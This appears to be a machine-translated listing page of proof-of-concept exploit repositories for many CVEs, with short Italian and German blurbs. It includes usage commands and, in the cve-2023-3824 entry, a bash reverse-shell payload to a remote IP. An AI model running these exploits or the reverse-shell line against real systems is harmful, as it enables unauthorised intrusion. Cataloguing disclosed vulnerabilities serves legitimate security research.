CVE-2025-65753

CVE-2025-65753 Proof of concept per CVE-2025-65753: Esecuzione di codice remoto sul punto di accesso Gryphon Guardian, versione firmware 01.06.0006.22, attraverso una validazione impropria del certificato TLS. Descrizione Il punto di accesso WiFi Gryphon Guardian, con versione firmware...

Exploiting-Stagefright-Vulnerability-CVE-2015-3864

Sfruttare-la-vulnerabilità-Stagefright-CVE-2015-3864 Stagefright si riferisce a un insieme di difetti software nelle versioni Android 2.2 "Froyo" fino alla 5.1.1 "Lollipop", che hanno colpito ancora il 95% di tutti i telefoni Android. Se la vulnerabilità viene sfruttata, un attaccante può...

sophucked

sophucked CVE-2020-25223 RCE PoC, ottiene una reverse shell. Pre-autenticazione. Implementato rapidamente poiché era necessario unificare alcuni magneti di minaccia. Esempio di utilizzo: root@kitploit: python sophucked.py https://x.x.x.x:4443 x.x.x.x 80 + avvio handler sulla porta 80 + Invio...

CVE-2025-58434-AND-59528-POC

PoC Duale Flowise CVE — CVE-2025-58434 + CVE-2025-59528 ⚠️ Solo per scopi educativi e ricerca di sicurezza autorizzata. Eseguire questo strumento contro sistemi che non possiedi o per cui non hai autorizzazione scritta è illegale. Indice Panoramica Dettagli delle vulnerabilità CVE-2025-58434 —...

CVE-2025-55182

Scanner CVE-2025-55182 Questo repository contiene uno strumento di scansione per CVE-2025-55182 , una vulnerabilità critica di esecuzione di codice in remoto RCE nei React Server Components RSC. ⚠️ Dichiarazione di non responsabilità Questo strumento è solo per scopi educativi e di test...

CVE-2025-55182_full_exploit

CVE-2025-55182fullexploit Dieses Repository enthält den vollständigen Exploit für CVE-2025-55182 mit RCE Schritt zur Ausführung des Exploits 1. Abhängigkeiten installieren pip install -r requirements.txt 2. Exploit ausführen python3 exploit.py targetlist.txt "command"...

CVE-2024-38063

CVE-2024-38063 - Windows TCP/IP Remote Code Execution-Schwachstelle. Das Auftreten von BSOD kann zu RCE führen, während mein Code nur BSOD verursacht. Ich analysiere kontinuierlich den Patch und teste, um das Auftreten von RCE im Zielsystem zu erreichen. Sternenverlauf Übersicht CVE-2024-38063 is...

cve-2022-42889-text4shell-docker

Installare maven - maven-linux 1. Installazione di Maven per creare il fat jar root@kitploit: mvn clean install 2. Build Docker root@kitploit: docker build --tag=text4shell . 3. Esecuzione Docker root@kitploit: docker run -p 80:8080 text4shell 4. Test dell'app root@kitploit:...

CVE-2025-69516

CVE-2025-69516 - Esecuzione di codice remoto in Tactical RMM Questo repository contiene uno script Python che automatizza lo sfruttamento della vulnerabilità SSTI CVE-2025-69516 in Tactical RMM. È stato testato sulla versione 1.3.1. Utilizzo root@kitploit: python xpl.py -d api.tactical.xyz -t...

Simulation_CVE-2024-46256

CVE-2024-46256 e CVE-2024-46257 – Simulazione PoC Panoramica Questo repository contiene una Proof of Concept PoC passo-passo, supportata da immagini, che simula due vulnerabilità in Nginx Proxy Manager che consentono l'iniezione di comandi del sistema operativo, portando all'esecuzione remota di...

CVE-2025-55182

🚨 NextRce — CVE-2025-55182 Next.js / React Server Components RCE NextRce è uno strumento di ricerca sulla sicurezza che dimostra CVE-2025-55182 , una vulnerabilità critica nelle applicazioni Next.js App Router che utilizzano React Server Components RSC e Server Actions. Questa vulnerabilità...

CVE-2022-22954-PoC

CVE-2022-22954 PoC VMware Workspace ONE Access and Identity Manager RCE über SSTI. CVE-2022-22954 - PoC SSTI Verwendung: root@kitploit: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode SETMODE Available modes: shodan |...

CVE-2022-26134

pip3 install -r requirements.txt uso: python3 exp.py url "cmd" esempio: python3 exp.py http://192.168.1.1/ whoami...

CVE-2021-40539

CVE-2021-40539 CVE-2021-40539: Vulnerabilità RCE in ADSelfService Plus Uno: Descrizione della vulnerabilità ZOHO ManageEngine ADSelfService Plus è una soluzione integrata di gestione self-service delle password e single sign-on per Active Directory e applicazioni cloud dell'azienda ZOHO...

CVE-2025-3248-POC

Langflow RCE Exploit - CVE-2025-3248 ⚠️ Haftungsausschluss Dieser Code ist ausschließlich für Bildungs- und Forschungszwecke bestimmt. Die unbefugte Verwendung auf Systemen ohne ausdrückliche Genehmigung kann einen Verstoß gegen das Gesetz darstellen. Der Autor ist nicht verantwortlich für...

CVE-2021-2394

CVE-2021-2394 POC di CVE-2021-2394 Disclaimer Il progetto è destinato esclusivamente all'apprendimento; qualsiasi conseguenza o perdita, diretta o indiretta, causata da test non autorizzati, è di esclusiva responsabilità dell'utente stesso. Note Il POC invia i pacchetti tramite IIOP; aggiungere l...

POC2-CVE-2025-55182

React2Shell Ultimate - CVE-2025-66478 Scanner Lo scanner più completo per la vulnerabilità di Remote Code Execution RSC di Next.js root@kitploit: ╔════════════════════════════════════════════════════════════════════════╗ ║ ║ ║ | \ | || / || | | | | ║ ║ | | / / |/ | | / /\ | ' \ / \ | | ║ ║ | / |...

cve-2023-3824

sudo docker run -it --rm -p 8080:80 php:8.0.29-apache bash echo "phar.readonly = Off" /usr/local/etc/php/php.ini http://localhost:8080/shell.php?cmd=bash -c 'bash -i %26 /dev/tcp/192.168.1.8/5050 0%261' php -r "$phar = new Phar'exploit.phar'; $phar-extractTo'./', 'shell.php';" exploit.zip passwor...

CVE-2024-4577

Questa è la POC della CVE 2024-4577 Questo exploit consente a un attaccante di eseguire RCE su versioni PHP come PHP 8.3 8.3.8 PHP 8.2 8.2.20 PHP 8.1 8.1.29 Puoi controllare gli argomenti dal codice! Per saperne di più su questo specifico exploit, consulta nist.gov...

CVE-2019-19369

CVE-2019-19369 - FusionPBX = 4.5.10 Authentifizierte RCE Authentifizierte Angreifer können die PHP-Editor-Funktion in FusionPBX-Versionen = 4.5.10 nutzen, um eine der vorhandenen PHP-Seiten zu bearbeiten und ein PHP-Payload einzufügen. Durch das Aufrufen der geänderten Datei erhalten wir eine She...